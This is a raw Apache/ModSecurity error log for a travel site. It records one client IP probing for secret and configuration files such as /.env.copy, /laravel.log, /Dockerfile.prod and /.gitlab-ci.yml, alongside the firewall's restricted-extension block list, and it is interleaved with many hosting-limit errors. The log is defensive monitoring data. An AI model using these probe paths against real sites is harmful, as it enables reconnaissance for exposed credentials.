[Fri Jul 17 08:55:13.541913 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.copy"] [unique_id "almgmUkXT4NBqALj2lZ8mQAAABA"]
[Fri Jul 17 08:55:13.541919 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.542022 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.542163 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmUkXT4NBqALj2lZ8mQAAABA"]
[Fri Jul 17 08:55:13.542894 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.543706 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.546522 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.547457 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.551311 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.552881 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.555334 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/laravel.log"] [unique_id "almgmYl9vhFBGA6D8l955AAAAAw"]
[Fri Jul 17 08:55:13.555853 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/laravel.log"] [unique_id "almgmYl9vhFBGA6D8l955AAAAAw"]
[Fri Jul 17 08:55:13.555978 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.556129 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmYl9vhFBGA6D8l955AAAAAw"]
[Fri Jul 17 08:55:13.559812 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.560695 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.564432 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.568567 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.569868 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.570399 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.573610 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.574341 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.574679 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.log"] [unique_id "almgmXRlmrtCoY_COpclyAAAAAg"]
[Fri Jul 17 08:55:13.574847 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.575135 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.log"] [unique_id "almgmXRlmrtCoY_COpclyAAAAAg"]
[Fri Jul 17 08:55:13.575233 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.575345 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmXRlmrtCoY_COpclyAAAAAg"]
[Fri Jul 17 08:55:13.578023 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "Dockerfile" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/Dockerfile.prod"] [unique_id "almgmbEWOaI5pmYo9fnO0QAAAAA"]
[Fri Jul 17 08:55:13.578346 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/Dockerfile.prod"] [unique_id "almgmbEWOaI5pmYo9fnO0QAAAAA"]
[Fri Jul 17 08:55:13.578476 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.578482 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.gitlab-ci.yml"] [unique_id "almgmQ7FYe46zHK_jL3PtwAAABk"]
[Fri Jul 17 08:55:13.578632 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmbEWOaI5pmYo9fnO0QAAAAA"]
[Fri Jul 17 08:55:13.578797 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.gitlab-ci.yml"] [unique_id "almgmQ7FYe46zHK_jL3PtwAAABk"]
[Fri Jul 17 08:55:13.578915 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.579094 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmQ7FYe46zHK_jL3PtwAAABk"]
[Fri Jul 17 08:55:13.582878 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.584103 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/error.log"] [unique_id "almgmSvekYYQ8uns4MwlRwAAAA0"]
[Fri Jul 17 08:55:13.584111 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.584567 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/error.log"] [unique_id "almgmSvekYYQ8uns4MwlRwAAAA0"]
[Fri Jul 17 08:55:13.584673 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.584789 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmSvekYYQ8uns4MwlRwAAAA0"]
[Fri Jul 17 08:55:13.588786 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.588890 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.592847 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.596958 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.599958 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/app.log"] [unique_id "almgmYl9vhFBGA6D8l955wAAAAw"]
